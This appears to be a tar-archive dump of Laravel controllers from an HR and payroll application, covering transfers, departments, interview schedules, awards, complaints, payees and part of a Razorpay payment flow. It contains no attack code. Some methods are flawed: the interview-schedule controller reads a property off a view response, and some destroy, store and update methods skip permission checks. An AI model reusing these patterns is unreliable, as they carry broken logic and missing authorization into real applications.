(isset($settings['recaptcha_module']) && $settings['recaptcha_module'] == 'yes') { $validation['g-recaptcha-response'] = 'required'; } else { $validation = []; } $this->validate($request, $validation); $request->validate([ 'email' => 'required|email', ]); // We will send the password reset link to this user. Once we have attempted // to send the link, we will examine the response then see the message we // need to show to the user. Finally, we'll send out a proper response. try { $status = Password::sendResetLink( $request->only('email') ); return $status == Password::RESET_LINK_SENT ? back()->with('status', __($status)) : back()->withInput($request->only('email')) ->withErrors(['email' => __($status)]); } catch (\Exception $e) { return redirect()->back()->withErrors('E-Mail has been not sent due to SMTP configuration'); } } /** * Destroy an authenticated session. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\RedirectResponse */ public function destroy(Request $request) { Auth::guard('web')->logout(); $request->session()->invalidate(); $request->session()->regenerateToken(); return redirect('/'); } } Http/Controllers/TransferController.php000064400000016224150364306410014341 0ustar00can('Manage Transfer')) { if (Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $transfers = Transfer::where('created_by', '=', \Auth::user()->creatorId())->where('employee_id', '=', $emp->id)->get(); } else { $transfers = Transfer::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('transfer.index', compact('transfers')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Transfer')) { $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches->prepend('Select Branch', ''); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('transfer.create', compact('employees', 'departments', 'branches')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Transfer')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'branch_id' => 'required', 'department_id' => 'required', 'transfer_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $transfer = new Transfer(); $transfer->employee_id = $request->employee_id; $transfer->branch_id = !empty($request->branch_id) ? $request->branch_id : ''; $transfer->department_id = !empty($request->department_id) ? $request->department_id : ''; $transfer->transfer_date = $request->transfer_date; $transfer->description = !empty($request->description) ? $request->description : ''; $transfer->created_by = \Auth::user()->creatorId(); $transfer->save(); $setings = Utility::settings(); if ($setings['employee_transfer'] == 1) { $branch = Branch::find($transfer->branch_id); $department = Department::find($transfer->department_id); $employee= Employee::find($transfer->employee_id); $uArr = [ 'transfer_name'=>$employee->name, 'transfer_date'=>$request->transfer_date, 'transfer_department'=>$department->name, 'transfer_branch'=>$branch->name, 'transfer_description'=>$request->description, ]; $resp = Utility::sendEmailTemplate('employee_transfer', [$employee->email], $uArr); return redirect()->route('transfer.index')->with('success', __('Transfer successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('transfer.index')->with('success', __('Transfer successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Transfer $transfer) { return redirect()->route('transfer.index'); } public function edit(Transfer $transfer) { if (\Auth::user()->can('Edit Transfer')) { $departments = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); if ($transfer->created_by == \Auth::user()->creatorId()) { return view('transfer.edit', compact('transfer', 'employees', 'departments', 'branches')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Transfer $transfer) { if (\Auth::user()->can('Edit Transfer')) { if ($transfer->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'branch_id' => 'required', 'department_id' => 'required', 'transfer_date' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $transfer->employee_id = $request->employee_id; $transfer->branch_id = !empty($request->branch_id) ? $request->branch_id : ''; $transfer->department_id = !empty($request->department_id) ? $request->department_id : ''; $transfer->transfer_date = $request->transfer_date; $transfer->description = !empty($request->description) ? $request->description : ''; $transfer->save(); return redirect()->route('transfer.index')->with('success', __('Transfer successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Transfer $transfer) { if (\Auth::user()->can('Delete Transfer')) { if ($transfer->created_by == \Auth::user()->creatorId()) { $transfer->delete(); return redirect()->route('transfer.index')->with('success', __('Transfer successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/DepartmentController.php000064400000011631150364306410014655 0ustar00can('Manage Department')) { $departments = Department::where('created_by', '=', \Auth::user()->creatorId())->with('branch')->get(); return view('department.index', compact('departments')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Department')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('Select Branch', ''); return view('department.create', compact('branch')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Department')) { $validator = \Validator::make( $request->all(), [ 'branch_id' => 'required', 'name' => 'required|max:20', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $department = new Department(); $department->branch_id = $request->branch_id; $department->name = $request->name; $department->created_by = \Auth::user()->creatorId(); $department->save(); return redirect()->route('department.index')->with('success', __('Department successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Department $department) { return redirect()->route('department.index'); } public function edit(Department $department) { if (\Auth::user()->can('Edit Department')) { if ($department->created_by == \Auth::user()->creatorId()) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('Select Branch', ''); return view('department.edit', compact('department', 'branch')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Department $department) { if (\Auth::user()->can('Edit Department')) { if ($department->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'branch_id' => 'required', 'name' => 'required|max:20', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $department->branch_id = $request->branch_id; $department->name = $request->name; $department->save(); return redirect()->route('department.index')->with('success', __('Department successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Department $department) { if (\Auth::user()->can('Delete Department')) { if ($department->created_by == \Auth::user()->creatorId()) { $employee = Employee::where('department_id', $department->id)->get(); if (count($employee) == 0) { Designation::where('department_id', $department->id)->delete(); $department->delete(); } else { return redirect()->route('department.index')->with('error', __('This department has employees. Please remove the employee from this department.')); } return redirect()->route('department.index')->with('success', __('Department successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/InterviewScheduleController.php000064400000016025150364306410016205 0ustar00creatorId())->get(); $arrSchedule = []; $today_date = date('m'); $current_month_event = LocalInterviewSchedule::select('id', 'candidate', 'date', 'employee', 'time', 'comment')->whereNotNull(['date'])->whereMonth('date', $today_date)->where('created_by', \Auth::user()->creatorId())->get(); foreach ($schedules as $key => $schedule) { $arr['id'] = $schedule['id']; $arr['title'] = !empty($schedule->applications) ? !empty($schedule->applications->jobs) ? $schedule->applications->jobs->title : '' : ''; $arr['start'] = $schedule['date']; $arr['url'] = route('interview-schedule.show', $schedule['id']); $arr['className'] = ' event-primary'; $arrSchedule[] = $arr; $sdf = !empty($current_month_event[$key]->applications) ? (!empty($current_month_event[$key]->applications->jobs) ? $current_month_event[$key]->applications->jobs->title : '') : ''; } $arrSchedule = json_encode($arrSchedule); return view('interviewSchedule.index', compact('arrSchedule', 'schedules', 'current_month_event','sdf')); } public function create($candidate = 0) { $employees = User::where('type', 'employee')->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees->prepend('--', ''); $candidates = JobApplication::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $candidates->prepend('--', ''); return view('interviewSchedule.create', compact('employees', 'candidates', 'candidate')); } public function store(Request $request) { if (\Auth::user()->can('Create Interview Schedule')) { $validator = \Validator::make( $request->all(), [ 'candidate' => 'required', 'employee' => 'required', 'date' => 'required', 'time' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $schedule = new LocalInterviewSchedule(); $schedule->candidate = $request->candidate; $schedule->employee = $request->employee; $schedule->date = $request->date; $schedule->time = $request->time; $schedule->comment = $request->comment; $schedule->created_by = \Auth::user()->creatorId(); $schedule->save(); // Google Celander if ($request->get('synchronize_type') == 'google_calender') { $type = 'interview_schedule'; $request1 = new GoogleEvent(); $request1->title = Self::index()->sdf; $request1->start_date = $request->date; $request1->time = $request->time; $request1->end_date = $request->date; Utility::addCalendarDataTime($request1, $type); } return redirect()->back()->with('success', __('Interview schedule successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(LocalInterviewSchedule $interviewSchedule) { $stages = JobStage::where('created_by', \Auth::user()->creatorId())->get(); return view('interviewSchedule.show', compact('interviewSchedule', 'stages')); } public function edit(LocalInterviewSchedule $interviewSchedule) { $employees = User::where('type', 'employee')->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $employees->prepend('--', ''); $candidates = JobApplication::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $candidates->prepend('--', ''); return view('interviewSchedule.edit', compact('employees', 'candidates', 'interviewSchedule')); } public function update(Request $request, LocalInterviewSchedule $interviewSchedule) { if (\Auth::user()->can('Edit Interview Schedule')) { $validator = \Validator::make( $request->all(), [ 'candidate' => 'required', 'employee' => 'required', 'date' => 'required', 'time' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $interviewSchedule->candidate = $request->candidate; $interviewSchedule->employee = $request->employee; $interviewSchedule->date = $request->date; $interviewSchedule->time = $request->time; $interviewSchedule->comment = $request->comment; $interviewSchedule->save(); return redirect()->back()->with('success', __('Interview schedule successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(LocalInterviewSchedule $interviewSchedule) { $interviewSchedule->delete(); return redirect()->back()->with('success', __('Interview schedule successfully deleted.')); } public function get_interview_schedule_data(Request $request) { $arrayJson = []; if ($request->get('calender_type') == 'google_calender') { $type = 'interview_schedule'; $arrayJson = Utility::getCalendarData($type); } else { $data = LocalInterviewSchedule::where('created_by', \Auth::user()->creatorId())->get(); foreach ($data as $val) { $end_date = date_create($val->end_date); date_add($end_date, date_interval_create_from_date_string("1 days")); $arrayJson[] = [ "id" => $val->id, "title" => Self::index()->sdf, "start" => $val->date, "end" => date_format($end_date, "Y-m-d H:i:s"), "className" => $val->color, "textColor" => '#FFF', "allDay" => true, "url" => route('interview-schedule.show', $val['id']), ]; } } return $arrayJson; } } Http/Controllers/AwardController.php000064400000022546150364306410013617 0ustar00can('Manage Award')) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get(); $awardtypes = AwardType::where('created_by', '=', \Auth::user()->creatorId())->get(); if (Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $awards = Award::where('employee_id', '=', $emp->id)->get(); } else { $awards = Award::where('created_by', '=', \Auth::user()->creatorId())->with(['employee', 'awardType'])->get(); } return view('award.index', compact('awards', 'employees', 'awardtypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Award')) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $awardtypes = AwardType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('award.create', compact('employees', 'awardtypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if (\Auth::user()->can('Create Award')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'award_type' => 'required', 'date' => 'required', 'gift' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $award = new Award(); $award->employee_id = $request->employee_id; $award->award_type = $request->award_type; $award->date = $request->date; $award->gift = $request->gift; $award->description = $request->description; $award->created_by = \Auth::user()->creatorId(); $award->save(); //slack $setting = Utility::settings(\Auth::user()->creatorId()); $awardtype = AwardType::find($request->award_type); $emp = Employee::find($request->employee_id); if (isset($setting['award_notification']) && $setting['award_notification'] == 1) { // $msg = $awardtype->name . ' ' . __("created for") . ' ' . $emp->name . ' ' . __("from") . ' ' . $request->date . '.'; $uArr = [ 'award_name' => $awardtype->name, 'employee_name' => $emp->name, 'date' => $request->date, ]; Utility::send_slack_msg('new_award', $uArr); } //telegram $setting = Utility::settings(\Auth::user()->creatorId()); $awardtype = AwardType::find($request->award_type); $emp = Employee::find($request->employee_id); if (isset($setting['telegram_award_notification']) && $setting['telegram_award_notification'] == 1) { // $msg = $awardtype->name . ' ' . __("created for") . ' ' . $emp->name . ' ' . __("from") . ' ' . $request->date . '.'; $uArr = [ 'award_name' => $awardtype->name, 'employee_name' => $emp->name, 'date' => $request->date, ]; Utility::send_telegram_msg('new_award', $uArr); } // twilio $setting = Utility::settings(\Auth::user()->creatorId()); $awardtype = AwardType::find($request->award_type); $emp = Employee::find($request->employee_id); if (isset($setting['twilio_award_notification']) && $setting['twilio_award_notification'] == 1) { // $msg = $awardtype->name . ' ' . __("created for") . ' ' . $emp->name . ' ' . __("from") . ' ' . $request->date . '.'; $uArr = [ 'award_name' => $awardtype->name, 'employee_name' => $emp->name, 'date' => $request->date, ]; Utility::send_twilio_msg($emp->phone, 'new_award', $uArr); } $setings = Utility::settings(); if ($setings['new_award'] == 1) { $employee = Employee::find($award->employee_id); $uArr = [ 'award_name' => $employee->name, ]; $resp = Utility::sendEmailTemplate('new_award', [$employee->email], $uArr); // return redirect()->route('award.index')->with('success', __('Award successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } //webhook $module = 'New Award'; $webhook = Utility::webhookSetting($module); if ($webhook) { $parameter = json_encode($award); // 1 parameter is URL , 2 parameter is data , 3 parameter is method $status = Utility::WebhookCall($webhook['url'], $parameter, $webhook['method']); if ($status == true) { return redirect()->route('award.index')->with('success', __('Award successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } else { return redirect()->back()->with('error', __('Webhook call failed.')); } } return redirect()->route('award.index')->with('success', __('Award successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Award $award) { return redirect()->route('award.index'); } public function edit(Award $award) { if (\Auth::user()->can('Edit Award')) { if ($award->created_by == \Auth::user()->creatorId()) { $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $awardtypes = AwardType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('award.edit', compact('award', 'awardtypes', 'employees')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Award $award) { if (\Auth::user()->can('Edit Award')) { if ($award->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'award_type' => 'required', 'date' => 'required', 'gift' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $award->employee_id = $request->employee_id; $award->award_type = $request->award_type; $award->date = $request->date; $award->gift = $request->gift; $award->description = $request->description; $award->save(); return redirect()->route('award.index')->with('success', __('Award successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Award $award) { if (\Auth::user()->can('Delete Award')) { if ($award->created_by == \Auth::user()->creatorId()) { $award->delete(); return redirect()->route('award.index')->with('success', __('Award successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/AwardTypeController.php000064400000010732150364306410014453 0ustar00can('Manage Award Type')) { $awardtypes = AwardType::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('awardtype.index', compact('awardtypes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Award Type')) { return view('awardtype.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Award Type')) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $awardtype = new AwardType(); $awardtype->name = $request->name; $awardtype->created_by = \Auth::user()->creatorId(); $awardtype->save(); return redirect()->route('awardtype.index')->with('success', __('AwardType successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(AwardType $awardtype) { return redirect()->route('awardtype.index'); } public function edit(AwardType $awardtype) { if(\Auth::user()->can('Edit Award Type')) { if($awardtype->created_by == \Auth::user()->creatorId()) { return view('awardtype.edit', compact('awardtype')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, AwardType $awardtype) { if(\Auth::user()->can('Edit Award Type')) { if($awardtype->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:20', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $awardtype->name = $request->name; $awardtype->save(); return redirect()->route('awardtype.index')->with('success', __('AwardType successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(AwardType $awardtype) { if(\Auth::user()->can('Delete Award Type')) { if($awardtype->created_by == \Auth::user()->creatorId()) { $awards = Award::where('award_type',$awardtype->id)->get(); if(count($awards) == 0) { $awardtype->delete(); } else { return redirect()->route('awardtype.index')->with('error', __('This awardtype has award. Please remove the award from this awardtype.')); } return redirect()->route('awardtype.index')->with('success', __('AwardType successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/ComplaintController.php000064400000021310150364306410014473 0ustar00can('Manage Complaint')) { if(Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $complaints = Complaint::where('complaint_from', '=', $emp->id)->get(); } else { $complaints = Complaint::where('created_by', '=', \Auth::user()->creatorId())->get(); } return view('complaint.index', compact('complaints')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Complaint')) { if(Auth::user()->type == 'employee') { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('user_id', '!=', $user->id)->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } else { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('created_by', Auth::user()->creatorId())->get()->pluck('name', 'id'); } return view('complaint.create', compact('employees', 'current_employee')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Complaint')) { if(\Auth::user()->type != 'employee') { $validator = \Validator::make( $request->all(), [ 'complaint_from' => 'required', ] ); } $validator = \Validator::make( $request->all(), [ 'complaint_against' => 'required', 'title' => 'required', 'complaint_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $complaint = new Complaint(); if(\Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $complaint->complaint_from = $emp->id; } else { $complaint->complaint_from = $request->complaint_from; } $complaint->complaint_against = $request->complaint_against; $complaint->title = $request->title; $complaint->complaint_date = $request->complaint_date; $complaint->description = $request->description; $complaint->created_by = \Auth::user()->creatorId(); $complaint->save(); $setings = Utility::settings(); if($setings['employee_complaints'] == 1) { $employee = Employee::find($complaint->complaint_against); $uArr = [ 'employee_complaints_name'=>$employee->name, ]; $resp = Utility::sendEmailTemplate('employee_complaints', [$employee->email], $uArr); return redirect()->route('complaint.index')->with('success', __('Complaint successfully created.'). ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('complaint.index')->with('success', __('Complaint successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Complaint $complaint) { return redirect()->route('complaint.index'); } public function edit($complaint) { $complaint = Complaint::find($complaint); if(\Auth::user()->can('Edit Complaint')) { if(Auth::user()->type == 'employee') { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('user_id', '!=', $user->id)->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } else { $user = \Auth::user(); $current_employee = Employee::where('user_id', $user->id)->get()->pluck('name', 'id'); $employees = Employee::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); } if($complaint->created_by == \Auth::user()->creatorId()) { return view('complaint.edit', compact('complaint', 'employees', 'current_employee')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, Complaint $complaint) { if(\Auth::user()->can('Edit Complaint')) { if($complaint->created_by == \Auth::user()->creatorId()) { if(\Auth::user()->type != 'employee') { $validator = \Validator::make( $request->all(), [ 'complaint_from' => 'required', ] ); } $validator = \Validator::make( $request->all(), [ 'complaint_against' => 'required', 'title' => 'required', 'complaint_date' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if(\Auth::user()->type == 'employee') { $emp = Employee::where('user_id', '=', \Auth::user()->id)->first(); $complaint->complaint_from = $emp->id; } else { $complaint->complaint_from = $request->complaint_from; } $complaint->complaint_against = $request->complaint_against; $complaint->title = $request->title; $complaint->complaint_date = $request->complaint_date; $complaint->description = $request->description; $complaint->save(); return redirect()->route('complaint.index')->with('success', __('Complaint successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Complaint $complaint) { if(\Auth::user()->can('Delete Complaint')) { if($complaint->created_by == \Auth::user()->creatorId()) { $complaint->delete(); return redirect()->route('complaint.index')->with('success', __('Complaint successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/PerformanceTypeController.php000064400000011101150364306410015645 0ustar00can('Manage Performance Type')) { $performance_types = Performance_Type::where('created_by', '=', \Auth::user()->id)->get(); return view('performance_type.index', compact('performance_types')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if (\Auth::user()->can('Create Performance Type')) { return view('performance_type.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } // return view('performance_type.create'); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $performance_type = new Performance_Type(); $performance_type->name = $request->name; $performance_type->created_by = \Auth::user()->id; $performance_type->save(); return redirect()->back()->with('success', 'Performance Type created successfully'); } /** * Display the specified resource. * * @param \App\Models\Performance_Type $performance_Type * @return \Illuminate\Http\Response */ public function show(Performance_Type $performance_Type) { // } /** * Show the form for editing the specified resource. * * @param \App\Models\Performance_Type $performance_Type * @return \Illuminate\Http\Response */ public function edit($id) { if (\Auth::user()->can('Edit Performance Type')) { $performance_type = Performance_Type::find($id); return view('performance_type.edit', compact('performance_type')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param \App\Models\Performance_Type $performance_Type * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $performance_type = Performance_Type::findOrFail($id); $performance_type->name = $request->name; $performance_type->save(); return redirect()->back()->with('success', 'Performance Type updated successfully'); } /** * Remove the specified resource from storage. * * @param \App\Models\Performance_Type $performance_Type * @return \Illuminate\Http\Response */ public function destroy($id) { if (\Auth::user()->can('Delete Performance Type')) { if (\Auth::user()->type == 'company') { $performance_Type = Performance_Type::findOrFail($id); $competencies = Competencies::where('type', $performance_Type->id)->get(); if (count($competencies) == 0) { $performance_Type->delete(); } else { return redirect()->route('performanceType.index')->with('error', __('This Performance Type has Competencies. Please remove the Competencies from this Performance Type.')); } return redirect()->route('performanceType.index')->with('success', __('Performance Type successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } } } Http/Controllers/PayeesController.php000064400000010375150364306410014004 0ustar00can('Manage Payee')) { $payees = Payees::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('payees.index', compact('payees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Payee')) { return view('payees.create'); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function store(Request $request) { if(\Auth::user()->can('Create Payee')) { $validator = \Validator::make( $request->all(), [ 'payee_name' => 'required', 'contact_number' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $payee = new Payees(); $payee->payee_name = $request->payee_name; $payee->contact_number = $request->contact_number; $payee->created_by = \Auth::user()->creatorId(); $payee->save(); return redirect()->route('payees.index')->with('success', __('Payees successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Payees $payee) { return redirect()->route('payees.index'); } public function edit(Payees $payee) { if(\Auth::user()->can('Edit Payee')) { if($payee->created_by == \Auth::user()->creatorId()) { return view('payees.edit', compact('payee')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, $payee) { $payee = Payees::find($payee); if(\Auth::user()->can('Edit Payee')) { if($payee->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'payee_name' => 'required', 'contact_number' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $payee->payee_name = $request->payee_name; $payee->contact_number = $request->contact_number; $payee->save(); return redirect()->route('payees.index')->with('success', __('Payees successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Payees $payee) { if(\Auth::user()->can('Delete Payee')) { if($payee->created_by == \Auth::user()->creatorId()) { $payee->delete(); return redirect()->route('payees.index')->with('success', __('Payees successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/RazorpayPaymentController.php000064400000021211150364306410015712 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); $this->secret_key = isset($admin_payment_setting['razorpay_secret_key']) ? $admin_payment_setting['razorpay_secret_key'] : ''; $this->public_key = isset($admin_payment_setting['razorpay_public_key']) ? $admin_payment_setting['razorpay_public_key'] : ''; $this->is_enabled = isset($admin_payment_setting['is_razorpay_enabled']) ? $admin_payment_setting['is_razorpay_enabled'] : 'off'; return $this; } } public function planPayWithRazorpay(Request $request) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupon_id = ''; if ($plan) { $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; if ($usedCoupun >= $coupons->limit) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $price = $price - $discount_value; $coupon_id = $coupons->id; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => 